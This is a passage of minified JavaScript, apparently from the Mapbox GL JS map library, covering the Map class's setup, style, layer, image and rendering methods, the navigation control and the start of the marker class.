dn($.minZoom,$.maxZoom,$.minPitch,$.maxPitch,$.renderWorldCopies);if(ue.call(this,Re,$),this._interactive=$.interactive,this._maxTileCacheSize=$.maxTileCacheSize,this._failIfMajorPerformanceCaveat=$.failIfMajorPerformanceCaveat,this._preserveDrawingBuffer=$.preserveDrawingBuffer,this._antialias=$.antialias,this._trackResize=$.trackResize,this._bearingSnap=$.bearingSnap,this._refreshExpiredTiles=$.refreshExpiredTiles,this._fadeDuration=$.fadeDuration,this._crossSourceCollisions=$.crossSourceCollisions,this._crossFadingFactor=1,this._collectResourceTiming=$.collectResourceTiming,this._renderTaskQueue=new ui,this._controls=[],this._mapId=o.uniqueId(),this._locale=o.extend({},Bu,$.locale),this._requestManager=new o.RequestManager($.transformRequest,$.accessToken),typeof $.container=="string"){if(this._container=o.window.document.getElementById($.container),!this._container)throw new Error("Container '"+$.container+"' not found.")}else if($.container instanceof yf)this._container=$.container;else throw new Error("Invalid type: 'container' must be a String or HTMLElement.");if($.maxBounds&&this.setMaxBounds($.maxBounds),o.bindAll(["_onWindowOnline","_onWindowResize","_contextLost","_contextRestored"],this),this._setupContainer(),this._setupPainter(),this.painter===void 0)throw new Error("Failed to initialize WebGL.");this.on("move",function(){return ve._update(!1)}),this.on("moveend",function(){return ve._update(!1)}),this.on("zoom",function(){return ve._update(!0)}),typeof o.window<"u"&&(o.window.addEventListener("online",this._onWindowOnline,!1),o.window.addEventListener("resize",this._onWindowResize,!1)),this.handlers=new ai(this,$);var He=typeof $.hash=="string"&&$.hash||void 0;this._hash=$.hash&&new ma(He).addTo(this),(!this._hash||!this._hash._onHashChange())&&(this.jumpTo({center:$.center,zoom:$.zoom,bearing:$.bearing,pitch:$.pitch}),$.bounds&&(this.resize(),this.fitBounds($.bounds,o.extend({},$.fitBoundsOptions,{duration:0})))),this.resize(),this._localIdeographFontFamily=$.localIdeographFontFamily,$.style&&this.setStyle($.style,{localIdeographFontFamily:$.localIdeographFontFamily}),$.attributionControl&&this.addControl(new go({customAttribution:$.customAttribution})),this.addControl(new Oa,$.logoPosition),this.on("style.load",function(){ve.transform.unmodified&&ve.jumpTo(ve.style.stylesheet)}),this.on("data",function(tt){ve._update(tt.dataType==="style"),ve.fire(new o.Event(tt.dataType+"data",tt))}),this.on("dataloading",function(tt){ve.fire(new o.Event(tt.dataType+"dataloading",tt))})}ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H;var he={showTileBoundaries:{configurable:!0},showPadding:{configurable:!0},showCollisionBoxes:{configurable:!0},showOverdrawInspector:{configurable:!0},repaint:{configurable:!0},vertices:{configurable:!0},version:{configurable:!0}};return H.prototype._getMapId=function(){return this._mapId},H.prototype.addControl=function(ve,Re){if(Re===void 0&&ve.getDefaultPosition&&(Re=ve.getDefaultPosition()),Re===void 0&&(Re="top-right"),!ve||!ve.onAdd)return this.fire(new o.ErrorEvent(new Error("Invalid argument to map.addControl(). Argument must be a control with onAdd and onRemove methods.")));var He=ve.onAdd(this);this._controls.push(ve);var tt=this._controlPositions[Re];return Re.indexOf("bottom")!==-1?tt.insertBefore(He,tt.firstChild):tt.appendChild(He),this},H.prototype.removeControl=function(ve){if(!ve||!ve.onRemove)return this.fire(new o.ErrorEvent(new Error("Invalid argument to map.removeControl(). Argument must be a control with onAdd and onRemove methods.")));var Re=this._controls.indexOf(ve);return Re>-1&&this._controls.splice(Re,1),ve.onRemove(this),this},H.prototype.resize=function(ve){var Re=this._containerDimensions(),He=Re[0],tt=Re[1];this._resizeCanvas(He,tt),this.transform.resize(He,tt),this.painter.resize(He,tt);var ht=!this._moving;return ht&&(this.stop(),this.fire(new o.Event("movestart",ve)).fire(new o.Event("move",ve))),this.fire(new o.Event("resize",ve)),ht&&this.fire(new o.Event("moveend",ve)),this},H.prototype.getBounds=function(){return this.transform.getBounds()},H.prototype.getMaxBounds=function(){return this.transform.getMaxBounds()},H.prototype.setMaxBounds=function(ve){return this.transform.setMaxBounds(o.LngLatBounds.convert(ve)),this._update()},H.prototype.setMinZoom=function(ve){if(ve=ve??Nu,ve>=Nu&&ve<=this.transform.maxZoom)return this.transform.minZoom=ve,this._update(),this.getZoom()<ve&&this.setZoom(ve),this;throw new Error("minZoom must be between "+Nu+" and the current maxZoom, inclusive")},H.prototype.getMinZoom=function(){return this.transform.minZoom},H.prototype.setMaxZoom=function(ve){if(ve=ve??Lf,ve>=this.transform.minZoom)return this.transform.maxZoom=ve,this._update(),this.getZoom()>ve&&this.setZoom(ve),this;throw new Error("maxZoom must be greater than the current minZoom")},H.prototype.getMaxZoom=function(){return this.transform.maxZoom},H.prototype.setMinPitch=function(ve){if(ve=ve??So,ve<So)throw new Error("minPitch must be greater than or equal to "+So);if(ve>=So&&ve<=this.transform.maxPitch)return this.transform.minPitch=ve,this._update(),this.getPitch()<ve&&this.setPitch(ve),this;throw new Error("minPitch must be between "+So+" and the current maxPitch, inclusive")},H.prototype.getMinPitch=function(){return this.transform.minPitch},H.prototype.setMaxPitch=function(ve){if(ve=ve??zl,ve>zl)throw new Error("maxPitch must be less than or equal to "+zl);if(ve>=this.transform.minPitch)return this.transform.maxPitch=ve,this._update(),this.getPitch()>ve&&this.setPitch(ve),this;throw new Error("maxPitch must be greater than the current minPitch")},H.prototype.getMaxPitch=function(){return this.transform.maxPitch},H.prototype.getRenderWorldCopies=function(){return this.transform.renderWorldCopies},H.prototype.setRenderWorldCopies=function(ve){return this.transform.renderWorldCopies=ve,this._update()},H.prototype.project=function(ve){return this.transform.locationPoint(o.LngLat.convert(ve))},H.prototype.unproject=function(ve){return this.transform.pointLocation(o.Point.convert(ve))},H.prototype.isMoving=function(){return this._moving||this.handlers.isMoving()},H.prototype.isZooming=function(){return this._zooming||this.handlers.isZooming()},H.prototype.isRotating=function(){return this._rotating||this.handlers.isRotating()},H.prototype._createDelegatedListener=function(ve,Re,He){var tt=this,ht;if(ve==="mouseenter"||ve==="mouseover"){var Dt=!1,Wt=function(zr){var Yr=tt.getLayer(Re)?tt.queryRenderedFeatures(zr.point,{layers:[Re]}):[];Yr.length?Dt||(Dt=!0,He.call(tt,new ze(ve,tt,zr.originalEvent,{features:Yr}))):Dt=!1},ar=function(){Dt=!1};return{layer:Re,listener:He,delegates:{mousemove:Wt,mouseout:ar}}}else if(ve==="mouseleave"||ve==="mouseout"){var hr=!1,Er=function(zr){var Yr=tt.getLayer(Re)?tt.queryRenderedFeatures(zr.point,{layers:[Re]}):[];Yr.length?hr=!0:hr&&(hr=!1,He.call(tt,new ze(ve,tt,zr.originalEvent)))},Fr=function(zr){hr&&(hr=!1,He.call(tt,new ze(ve,tt,zr.originalEvent)))};return{layer:Re,listener:He,delegates:{mousemove:Er,mouseout:Fr}}}else{var Or=function(zr){var Yr=tt.getLayer(Re)?tt.queryRenderedFeatures(zr.point,{layers:[Re]}):[];Yr.length&&(zr.features=Yr,He.call(tt,zr),delete zr.features)};return{layer:Re,listener:He,delegates:(ht={},ht[ve]=Or,ht)}}},H.prototype.on=function(ve,Re,He){if(He===void 0)return ue.prototype.on.call(this,ve,Re);var tt=this._createDelegatedListener(ve,Re,He);this._delegatedListeners=this._delegatedListeners||{},this._delegatedListeners[ve]=this._delegatedListeners[ve]||[],this._delegatedListeners[ve].push(tt);for(var ht in tt.delegates)this.on(ht,tt.delegates[ht]);return this},H.prototype.once=function(ve,Re,He){if(He===void 0)return ue.prototype.once.call(this,ve,Re);var tt=this._createDelegatedListener(ve,Re,He);for(var ht in tt.delegates)this.once(ht,tt.delegates[ht]);return this},H.prototype.off=function(ve,Re,He){var tt=this;if(He===void 0)return ue.prototype.off.call(this,ve,Re);var ht=function(Dt){for(var Wt=Dt[ve],ar=0;ar<Wt.length;ar++){var hr=Wt[ar];if(hr.layer===Re&&hr.listener===He){for(var Er in hr.delegates)tt.off(Er,hr.delegates[Er]);return Wt.splice(ar,1),tt}}};return this._delegatedListeners&&this._delegatedListeners[ve]&&ht(this._delegatedListeners),this},H.prototype.queryRenderedFeatures=function(ve,Re){if(!this.style)return[];Re===void 0&&ve!==void 0&&!(ve instanceof o.Point)&&!Array.isArray(ve)&&(Re=ve,ve=void 0),Re=Re||{},ve=ve||[[0,0],[this.transform.width,this.transform.height]];var He;if(ve instanceof o.Point||typeof ve[0]=="number")He=[o.Point.convert(ve)];else{var tt=o.Point.convert(ve[0]),ht=o.Point.convert(ve[1]);He=[tt,new o.Point(ht.x,tt.y),ht,new o.Point(tt.x,ht.y),tt]}return this.style.queryRenderedFeatures(He,Re,this.transform)},H.prototype.querySourceFeatures=function(ve,Re){return this.style.querySourceFeatures(ve,Re)},H.prototype.setStyle=function(ve,Re){return Re=o.extend({},{localIdeographFontFamily:this._localIdeographFontFamily},Re),Re.diff!==!1&&Re.localIdeographFontFamily===this._localIdeographFontFamily&&this.style&&ve?(this._diffStyle(ve,Re),this):(this._localIdeographFontFamily=Re.localIdeographFontFamily,this._updateStyle(ve,Re))},H.prototype._getUIString=function(ve){var Re=this._locale[ve];if(Re==null)throw new Error("Missing UI string '"+ve+"'");return Re},H.prototype._updateStyle=function(ve,Re){if(this.style&&(this.style.setEventedParent(null),this.style._remove()),ve)this.style=new Xi(this,Re||{});else return delete this.style,this;return this.style.setEventedParent(this,{style:this.style}),typeof ve=="string"?this.style.loadURL(ve):this.style.loadJSON(ve),this},H.prototype._lazyInitEmptyStyle=function(){this.style||(this.style=new Xi(this,{}),this.style.setEventedParent(this,{style:this.style}),this.style.loadEmpty())},H.prototype._diffStyle=function(ve,Re){var He=this;if(typeof ve=="string"){var tt=this._requestManager.normalizeStyleURL(ve),ht=this._requestManager.transformRequest(tt,o.ResourceType.Style);o.getJSON(ht,function(Dt,Wt){Dt?He.fire(new o.ErrorEvent(Dt)):Wt&&He._updateDiff(Wt,Re)})}else typeof ve=="object"&&this._updateDiff(ve,Re)},H.prototype._updateDiff=function(ve,Re){try{this.style.setState(ve)&&this._update(!0)}catch(He){o.warnOnce("Unable to perform style diff: "+(He.message||He.error||He)+".  Rebuilding the style from scratch."),this._updateStyle(ve,Re)}},H.prototype.getStyle=function(){if(this.style)return this.style.serialize()},H.prototype.isStyleLoaded=function(){return this.style?this.style.loaded():o.warnOnce("There is no style added to the map.")},H.prototype.addSource=function(ve,Re){return this._lazyInitEmptyStyle(),this.style.addSource(ve,Re),this._update(!0)},H.prototype.isSourceLoaded=function(ve){var Re=this.style&&this.style.sourceCaches[ve];if(Re===void 0){this.fire(new o.ErrorEvent(new Error("There is no source with ID '"+ve+"'")));return}return Re.loaded()},H.prototype.areTilesLoaded=function(){var ve=this.style&&this.style.sourceCaches;for(var Re in ve){var He=ve[Re],tt=He._tiles;for(var ht in tt){var Dt=tt[ht];if(!(Dt.state==="loaded"||Dt.state==="errored"))return!1}}return!0},H.prototype.addSourceType=function(ve,Re,He){return this._lazyInitEmptyStyle(),this.style.addSourceType(ve,Re,He)},H.prototype.removeSource=function(ve){return this.style.removeSource(ve),this._update(!0)},H.prototype.getSource=function(ve){return this.style.getSource(ve)},H.prototype.addImage=function(ve,Re,He){He===void 0&&(He={});var tt=He.pixelRatio;tt===void 0&&(tt=1);var ht=He.sdf;ht===void 0&&(ht=!1);var Dt=He.stretchX,Wt=He.stretchY,ar=He.content;this._lazyInitEmptyStyle();var hr=0;if(Re instanceof vu||_l&&Re instanceof _l){var Er=o.browser.getImageData(Re),Fr=Er.width,Or=Er.height,zr=Er.data;this.style.addImage(ve,{data:new o.RGBAImage({width:Fr,height:Or},zr),pixelRatio:tt,stretchX:Dt,stretchY:Wt,content:ar,sdf:ht,version:hr})}else{if(Re.width===void 0||Re.height===void 0)return this.fire(new o.ErrorEvent(new Error("Invalid arguments to map.addImage(). The second argument must be an `HTMLImageElement`, `ImageData`, `ImageBitmap`, or object with `width`, `height`, and `data` properties with the same format as `ImageData`")));var Yr=Re.width,en=Re.height,xn=Re.data,Pn=Re;this.style.addImage(ve,{data:new o.RGBAImage({width:Yr,height:en},new Uint8Array(xn)),pixelRatio:tt,stretchX:Dt,stretchY:Wt,content:ar,sdf:ht,version:hr,userImage:Pn}),Pn.onAdd&&Pn.onAdd(this,ve)}},H.prototype.updateImage=function(ve,Re){var He=this.style.getImage(ve);if(!He)return this.fire(new o.ErrorEvent(new Error("The map has no image with that id. If you are adding a new image use `map.addImage(...)` instead.")));var tt=Re instanceof vu||_l&&Re instanceof _l?o.browser.getImageData(Re):Re,ht=tt.width,Dt=tt.height,Wt=tt.data;if(ht===void 0||Dt===void 0)return this.fire(new o.ErrorEvent(new Error("Invalid arguments to map.updateImage(). The second argument must be an `HTMLImageElement`, `ImageData`, `ImageBitmap`, or object with `width`, `height`, and `data` properties with the same format as `ImageData`")));if(ht!==He.data.width||Dt!==He.data.height)return this.fire(new o.ErrorEvent(new Error("The width and height of the updated image must be that same as the previous version of the image")));var ar=!(Re instanceof vu||_l&&Re instanceof _l);He.data.replace(Wt,ar),this.style.updateImage(ve,He)},H.prototype.hasImage=function(ve){return ve?!!this.style.getImage(ve):(this.fire(new o.ErrorEvent(new Error("Missing required image id"))),!1)},H.prototype.removeImage=function(ve){this.style.removeImage(ve)},H.prototype.loadImage=function(ve,Re){o.getImage(this._requestManager.transformRequest(ve,o.ResourceType.Image),Re)},H.prototype.listImages=function(){return this.style.listImages()},H.prototype.addLayer=function(ve,Re){return this._lazyInitEmptyStyle(),this.style.addLayer(ve,Re),this._update(!0)},H.prototype.moveLayer=function(ve,Re){return this.style.moveLayer(ve,Re),this._update(!0)},H.prototype.removeLayer=function(ve){return this.style.removeLayer(ve),this._update(!0)},H.prototype.getLayer=function(ve){return this.style.getLayer(ve)},H.prototype.setLayerZoomRange=function(ve,Re,He){return this.style.setLayerZoomRange(ve,Re,He),this._update(!0)},H.prototype.setFilter=function(ve,Re,He){return He===void 0&&(He={}),this.style.setFilter(ve,Re,He),this._update(!0)},H.prototype.getFilter=function(ve){return this.style.getFilter(ve)},H.prototype.setPaintProperty=function(ve,Re,He,tt){return tt===void 0&&(tt={}),this.style.setPaintProperty(ve,Re,He,tt),this._update(!0)},H.prototype.getPaintProperty=function(ve,Re){return this.style.getPaintProperty(ve,Re)},H.prototype.setLayoutProperty=function(ve,Re,He,tt){return tt===void 0&&(tt={}),this.style.setLayoutProperty(ve,Re,He,tt),this._update(!0)},H.prototype.getLayoutProperty=function(ve,Re){return this.style.getLayoutProperty(ve,Re)},H.prototype.setLight=function(ve,Re){return Re===void 0&&(Re={}),this._lazyInitEmptyStyle(),this.style.setLight(ve,Re),this._update(!0)},H.prototype.getLight=function(){return this.style.getLight()},H.prototype.setFeatureState=function(ve,Re){return this.style.setFeatureState(ve,Re),this._update()},H.prototype.removeFeatureState=function(ve,Re){return this.style.removeFeatureState(ve,Re),this._update()},H.prototype.getFeatureState=function(ve){return this.style.getFeatureState(ve)},H.prototype.getContainer=function(){return this._container},H.prototype.getCanvasContainer=function(){return this._canvasContainer},H.prototype.getCanvas=function(){return this._canvas},H.prototype._containerDimensions=function(){var ve=0,Re=0;return this._container&&(ve=this._container.clientWidth||400,Re=this._container.clientHeight||300),[ve,Re]},H.prototype._detectMissingCSS=function(){var ve=o.window.getComputedStyle(this._missingCSSCanary).getPropertyValue("background-color");ve!=="rgb(250, 128, 114)"&&o.warnOnce("This page appears to be missing CSS declarations for Mapbox GL JS, which may cause the map to display incorrectly. Please ensure your page includes mapbox-gl.css, as described in https://www.mapbox.com/mapbox-gl-js/api/.")},H.prototype._setupContainer=function(){var ve=this._container;ve.classList.add("mapboxgl-map");var Re=this._missingCSSCanary=S.create("div","mapboxgl-canary",ve);Re.style.visibility="hidden",this._detectMissingCSS();var He=this._canvasContainer=S.create("div","mapboxgl-canvas-container",ve);this._interactive&&He.classList.add("mapboxgl-interactive"),this._canvas=S.create("canvas","mapboxgl-canvas",He),this._canvas.addEventListener("webglcontextlost",this._contextLost,!1),this._canvas.addEventListener("webglcontextrestored",this._contextRestored,!1),this._canvas.setAttribute("tabindex","0"),this._canvas.setAttribute("aria-label","Map");var tt=this._containerDimensions();this._resizeCanvas(tt[0],tt[1]);var ht=this._controlContainer=S.create("div","mapboxgl-control-container",ve),Dt=this._controlPositions={};["top-left","top-right","bottom-left","bottom-right"].forEach(function(Wt){Dt[Wt]=S.create("div","mapboxgl-ctrl-"+Wt,ht)})},H.prototype._resizeCanvas=function(ve,Re){var He=o.browser.devicePixelRatio||1;this._canvas.width=He*ve,this._canvas.height=He*Re,this._canvas.style.width=ve+"px",this._canvas.style.height=Re+"px"},H.prototype._setupPainter=function(){var ve=o.extend({},L.webGLContextAttributes,{failIfMajorPerformanceCaveat:this._failIfMajorPerformanceCaveat,preserveDrawingBuffer:this._preserveDrawingBuffer,antialias:this._antialias||!1}),Re=this._canvas.getContext("webgl",ve)||this._canvas.getContext("experimental-webgl",ve);if(!Re){this.fire(new o.ErrorEvent(new Error("Failed to initialize WebGL")));return}this.painter=new Tr(Re,this.transform),o.webpSupported.testSupport(Re)},H.prototype._contextLost=function(ve){ve.preventDefault(),this._frame&&(this._frame.cancel(),this._frame=null),this.fire(new o.Event("webglcontextlost",{originalEvent:ve}))},H.prototype._contextRestored=function(ve){this._setupPainter(),this.resize(),this._update(),this.fire(new o.Event("webglcontextrestored",{originalEvent:ve}))},H.prototype.loaded=function(){return!this._styleDirty&&!this._sourcesDirty&&!!this.style&&this.style.loaded()},H.prototype._update=function(ve){return this.style?(this._styleDirty=this._styleDirty||ve,this._sourcesDirty=!0,this.triggerRepaint(),this):this},H.prototype._requestRenderFrame=function(ve){return this._update(),this._renderTaskQueue.add(ve)},H.prototype._cancelRenderFrame=function(ve){this._renderTaskQueue.remove(ve)},H.prototype._render=function(ve){var Re=this,He,tt=0,ht=this.painter.context.extTimerQuery;if(this.listens("gpu-timing-frame")&&(He=ht.createQueryEXT(),ht.beginQueryEXT(ht.TIME_ELAPSED_EXT,He),tt=o.browser.now()),this.painter.context.setDirty(),this.painter.setBaseState(),this._renderTaskQueue.run(ve),!this._removed){var Dt=!1;if(this.style&&this._styleDirty){this._styleDirty=!1;var Wt=this.transform.zoom,ar=o.browser.now();this.style.zoomHistory.update(Wt,ar);var hr=new o.EvaluationParameters(Wt,{now:ar,fadeDuration:this._fadeDuration,zoomHistory:this.style.zoomHistory,transition:this.style.getTransition()}),Er=hr.crossFadingFactor();(Er!==1||Er!==this._crossFadingFactor)&&(Dt=!0,this._crossFadingFactor=Er),this.style.update(hr)}if(this.style&&this._sourcesDirty&&(this._sourcesDirty=!1,this.style._updateSources(this.transform)),this._placementDirty=this.style&&this.style._updatePlacement(this.painter.transform,this.showCollisionBoxes,this._fadeDuration,this._crossSourceCollisions),this.painter.render(this.style,{showTileBoundaries:this.showTileBoundaries,showOverdrawInspector:this._showOverdrawInspector,rotating:this.isRotating(),zooming:this.isZooming(),moving:this.isMoving(),fadeDuration:this._fadeDuration,showPadding:this.showPadding,gpuTiming:!!this.listens("gpu-timing-layer")}),this.fire(new o.Event("render")),this.loaded()&&!this._loaded&&(this._loaded=!0,this.fire(new o.Event("load"))),this.style&&(this.style.hasTransitions()||Dt)&&(this._styleDirty=!0),this.style&&!this._placementDirty&&this.style._releaseSymbolFadeTiles(),this.listens("gpu-timing-frame")){var Fr=o.browser.now()-tt;ht.endQueryEXT(ht.TIME_ELAPSED_EXT,He),setTimeout(function(){var Yr=ht.getQueryObjectEXT(He,ht.QUERY_RESULT_EXT)/1e6;ht.deleteQueryEXT(He),Re.fire(new o.Event("gpu-timing-frame",{cpuTime:Fr,gpuTime:Yr}))},50)}if(this.listens("gpu-timing-layer")){var Or=this.painter.collectGpuTimers();setTimeout(function(){var Yr=Re.painter.queryGpuTimers(Or);Re.fire(new o.Event("gpu-timing-layer",{layerTimes:Yr}))},50)}var zr=this._sourcesDirty||this._styleDirty||this._placementDirty;return zr||this._repaint?this.triggerRepaint():!this.isMoving()&&this.loaded()&&(this._fullyLoaded||(this._fullyLoaded=!0),this.fire(new o.Event("idle"))),this}},H.prototype.remove=function(){this._hash&&this._hash.remove();for(var ve=0,Re=this._controls;ve<Re.length;ve+=1){var He=Re[ve];He.onRemove(this)}this._controls=[],this._frame&&(this._frame.cancel(),this._frame=null),this._renderTaskQueue.clear(),this.painter.destroy(),this.handlers.destroy(),delete this.handlers,this.setStyle(null),typeof o.window<"u"&&(o.window.removeEventListener("resize",this._onWindowResize,!1),o.window.removeEventListener("online",this._onWindowOnline,!1));var tt=this.painter.context.gl.getExtension("WEBGL_lose_context");tt&&tt.loseContext(),mf(this._canvasContainer),mf(this._controlContainer),mf(this._missingCSSCanary),this._container.classList.remove("mapboxgl-map"),this._removed=!0,this.fire(new o.Event("remove"))},H.prototype.triggerRepaint=function(){var ve=this;this.style&&!this._frame&&(this._frame=o.browser.frame(function(Re){ve._frame=null,ve._render(Re)}))},H.prototype._onWindowOnline=function(){this._update()},H.prototype._onWindowResize=function(ve){this._trackResize&&this.resize({originalEvent:ve})._update()},he.showTileBoundaries.get=function(){return!!this._showTileBoundaries},he.showTileBoundaries.set=function($){this._showTileBoundaries!==$&&(this._showTileBoundaries=$,this._update())},he.showPadding.get=function(){return!!this._showPadding},he.showPadding.set=function($){this._showPadding!==$&&(this._showPadding=$,this._update())},he.showCollisionBoxes.get=function(){return!!this._showCollisionBoxes},he.showCollisionBoxes.set=function($){this._showCollisionBoxes!==$&&(this._showCollisionBoxes=$,$?this.style._generateCollisionBoxes():this._update())},he.showOverdrawInspector.get=function(){return!!this._showOverdrawInspector},he.showOverdrawInspector.set=function($){this._showOverdrawInspector!==$&&(this._showOverdrawInspector=$,this._update())},he.repaint.get=function(){return!!this._repaint},he.repaint.set=function($){this._repaint!==$&&(this._repaint=$,this.triggerRepaint())},he.vertices.get=function(){return!!this._vertices},he.vertices.set=function($){this._vertices=$,this._update()},H.prototype._setCacheLimits=function(ve,Re){o.setCacheLimits(ve,Re)},he.version.get=function(){return o.version},Object.defineProperties(H.prototype,he),H}(Oo);function mf(ue){ue.parentNode&&ue.parentNode.removeChild(ue)}var Pf={showCompass:!0,showZoom:!0,visualizePitch:!1},cl=function(H){var he=this;this.options=o.extend({},Pf,H),this._container=S.create("div","mapboxgl-ctrl mapboxgl-ctrl-group"),this._container.addEventListener("contextmenu",function($){return $.preventDefault()}),this.options.showZoom&&(o.bindAll(["_setButtonTitle","_updateZoomButtons"],this),this._zoomInButton=this._createButton("mapboxgl-ctrl-zoom-in",function($){return he._map.zoomIn({},{originalEvent:$})}),S.create("span","mapboxgl-ctrl-icon",this._zoomInButton).setAttribute("aria-hidden",!0),this._zoomOutButton=this._createButton("mapboxgl-ctrl-zoom-out",function($){return he._map.zoomOut({},{originalEvent:$})}),S.create("span","mapboxgl-ctrl-icon",this._zoomOutButton).setAttribute("aria-hidden",!0)),this.options.showCompass&&(o.bindAll(["_rotateCompassArrow"],this),this._compass=this._createButton("mapboxgl-ctrl-compass",function($){he.options.visualizePitch?he._map.resetNorthPitch({},{originalEvent:$}):he._map.resetNorth({},{originalEvent:$})}),this._compassIcon=S.create("span","mapboxgl-ctrl-icon",this._compass),this._compassIcon.setAttribute("aria-hidden",!0))};cl.prototype._updateZoomButtons=function(){var H=this._map.getZoom();this._zoomInButton.disabled=H===this._map.getMaxZoom(),this._zoomOutButton.disabled=H===this._map.getMinZoom()},cl.prototype._rotateCompassArrow=function(){var H=this.options.visualizePitch?"scale("+1/Math.pow(Math.cos(this._map.transform.pitch*(Math.PI/180)),.5)+") rotateX("+this._map.transform.pitch+"deg) rotateZ("+this._map.transform.angle*(180/Math.PI)+"deg)":"rotate("+this._map.transform.angle*(180/Math.PI)+"deg)";this._compassIcon.style.transform=H},cl.prototype.onAdd=function(H){return this._map=H,this.options.showZoom&&(this._setButtonTitle(this._zoomInButton,"ZoomIn"),this._setButtonTitle(this._zoomOutButton,"ZoomOut"),this._map.on("zoom",this._updateZoomButtons),this._updateZoomButtons()),this.options.showCompass&&(this._setButtonTitle(this._compass,"ResetBearing"),this.options.visualizePitch&&this._map.on("pitch",this._rotateCompassArrow),this._map.on("rotate",this._rotateCompassArrow),this._rotateCompassArrow(),this._handler=new Bo(this._map,this._compass,this.options.visualizePitch)),this._container},cl.prototype.onRemove=function(){S.remove(this._container),this.options.showZoom&&this._map.off("zoom",this._updateZoomButtons),this.options.showCompass&&(this.options.visualizePitch&&this._map.off("pitch",this._rotateCompassArrow),this._map.off("rotate",this._rotateCompassArrow),this._handler.off(),delete this._handler),delete this._map},cl.prototype._createButton=function(H,he){var $=S.create("button",H,this._container);return $.type="button",$.addEventListener("click",he),$},cl.prototype._setButtonTitle=function(H,he){var $=this._map._getUIString("NavigationControl."+he);H.title=$,H.setAttribute("aria-label",$)};var Bo=function(H,he,$){$===void 0&&($=!1),this._clickTolerance=10,this.element=he,this.mouseRotate=new Vr({clickTolerance:H.dragRotate._mouseRotate._clickTolerance}),this.map=H,$&&(this.mousePitch=new Dn({clickTolerance:H.dragRotate._mousePitch._clickTolerance})),o.bindAll(["mousedown","mousemove","mouseup","touchstart","touchmove","touchend","reset"],this),S.addEventListener(he,"mousedown",this.mousedown),S.addEventListener(he,"touchstart",this.touchstart,{passive:!1}),S.addEventListener(he,"touchmove",this.touchmove),S.addEventListener(he,"touchend",this.touchend),S.addEventListener(he,"touchcancel",this.reset)};Bo.prototype.down=function(H,he){this.mouseRotate.mousedown(H,he),this.mousePitch&&this.mousePitch.mousedown(H,he),S.disableDrag()},Bo.prototype.move=function(H,he){var $=this.map,ve=this.mouseRotate.mousemoveWindow(H,he);if(ve&&ve.bearingDelta&&$.setBearing($.getBearing()+ve.bearingDelta),this.mousePitch){var Re=this.mousePitch.mousemoveWindow(H,he);Re&&Re.pitchDelta&&$.setPitch($.getPitch()+Re.pitchDelta)}},Bo.prototype.off=function(){var H=this.element;S.removeEventListener(H,"mousedown",this.mousedown),S.removeEventListener(H,"touchstart",this.touchstart,{passive:!1}),S.removeEventListener(H,"touchmove",this.touchmove),S.removeEventListener(H,"touchend",this.touchend),S.removeEventListener(H,"touchcancel",this.reset),this.offTemp()},Bo.prototype.offTemp=function(){S.enableDrag(),S.removeEventListener(o.window,"mousemove",this.mousemove),S.removeEventListener(o.window,"mouseup",this.mouseup)},Bo.prototype.mousedown=function(H){this.down(o.extend({},H,{ctrlKey:!0,preventDefault:function(){return H.preventDefault()}}),S.mousePos(this.element,H)),S.addEventListener(o.window,"mousemove",this.mousemove),S.addEventListener(o.window,"mouseup",this.mouseup)},Bo.prototype.mousemove=function(H){this.move(H,S.mousePos(this.element,H))},Bo.prototype.mouseup=function(H){this.mouseRotate.mouseupWindow(H),this.mousePitch&&this.mousePitch.mouseupWindow(H),this.offTemp()},Bo.prototype.touchstart=function(H){H.targetTouches.length!==1?this.reset():(this._startPos=this._lastPos=S.touchPos(this.element,H.targetTouches)[0],this.down({type:"mousedown",button:0,ctrlKey:!0,preventDefault:function(){return H.preventDefault()}},this._startPos))},Bo.prototype.touchmove=function(H){H.targetTouches.length!==1?this.reset():(this._lastPos=S.touchPos(this.element,H.targetTouches)[0],this.move({preventDefault:function(){return H.preventDefault()}},this._lastPos))},Bo.prototype.touchend=function(H){H.targetTouches.length===0&&this._startPos&&this._lastPos&&this._startPos.dist(this._lastPos)<this._clickTolerance&&this.element.click(),this.reset()},Bo.prototype.reset=function(){this.mouseRotate.reset(),this.mousePitch&&this.mousePitch.reset(),delete this._startPos,delete this._lastPos,this.offTemp()};function hl(ue,H,he){if(ue=new o.LngLat(ue.lng,ue.lat),H){var $=new o.LngLat(ue.lng-360,ue.lat),ve=new o.LngLat(ue.lng+360,ue.lat),Re=he.locationPoint(ue).distSqr(H);he.locationPoint($).distSqr(H)<Re?ue=$:he.locationPoint(ve).distSqr(H)<Re&&(ue=ve)}for(;Math.abs(ue.lng-he.center.lng)>180;){var He=he.locationPoint(ue);if(He.x>=0&&He.y>=0&&He.x<=he.width&&He.y<=he.height)break;ue.lng>he.center.lng?ue.lng-=360:ue.lng+=360}return ue}var xf={center:"translate(-50%,-50%)",top:"translate(-50%,0)","top-left":"translate(0,0)","top-right":"translate(-100%,0)",bottom:"translate(-50%,-100%)","bottom-left":"translate(0,-100%)","bottom-right":"translate(-100%,-100%)",left:"translate(0,-50%)",right:"translate(-100%,-50%)"};function Rf(ue,H,he){var $=ue.classList;for(var ve in xf)$.remove("mapboxgl-"+he+"-anchor-"+ve);$.add("mapboxgl-"+he+"-anchor-"+H)}var Uu=function(ue){function H(he,$){var ve=this;if(ue.call(this),(he instanceof o.window.HTMLElement||$)&&(he=o.extend({element:he},$)),o.bindAll(["_update","_onMove","_onUp","_addDragHandler","_onMapClick","_onKeyPress"],this),this._anchor=he&&he.anchor||"center",this._color=he&&he.color||"#3FB1CE",this._draggable=he&&he.draggable||!1,this._state="inactive",this._rotation=he&&he.rotation||0,this._rotationAlignment=he&&he.rotationAlignment||"auto",this._pitchAlignment=he&&he.pitchAlignment&&he.pitchAlignment!=="auto"?he.pitchAlignment:this._rotationAlignment,!he||!he.element){this._defaultMarker=!0,this._element=S.create("div"),this._element.setAttribute("aria-label","Map marker");var Re=S.createNS("http://www.w3.org/2000/svg","svg");Re.setAttributeNS(null,"display","block"),Re.setAttributeNS(null,"height","41px"),Re.setAttributeNS(null,"width","27px"),Re.setAttributeNS(null,"viewBox","0 0 27 41");var He=S.createNS("http://www.w3.org/2000/svg","g");He.setAttributeNS(null,"stroke","none"),He.setAttributeNS(null,"stroke-width","1"),He.setAttributeNS(null,"fill","none"),He.setAttributeNS(null,"fill-rule","evenodd");var tt=S.createNS("http://www.w3.org/2000/svg","g");tt.setAttributeNS(null,"fill-rule","nonzero");var ht=S.createNS("http://www.w3.org/2000/svg","g");ht.setAttributeNS(null,"transform","translate(3.0, 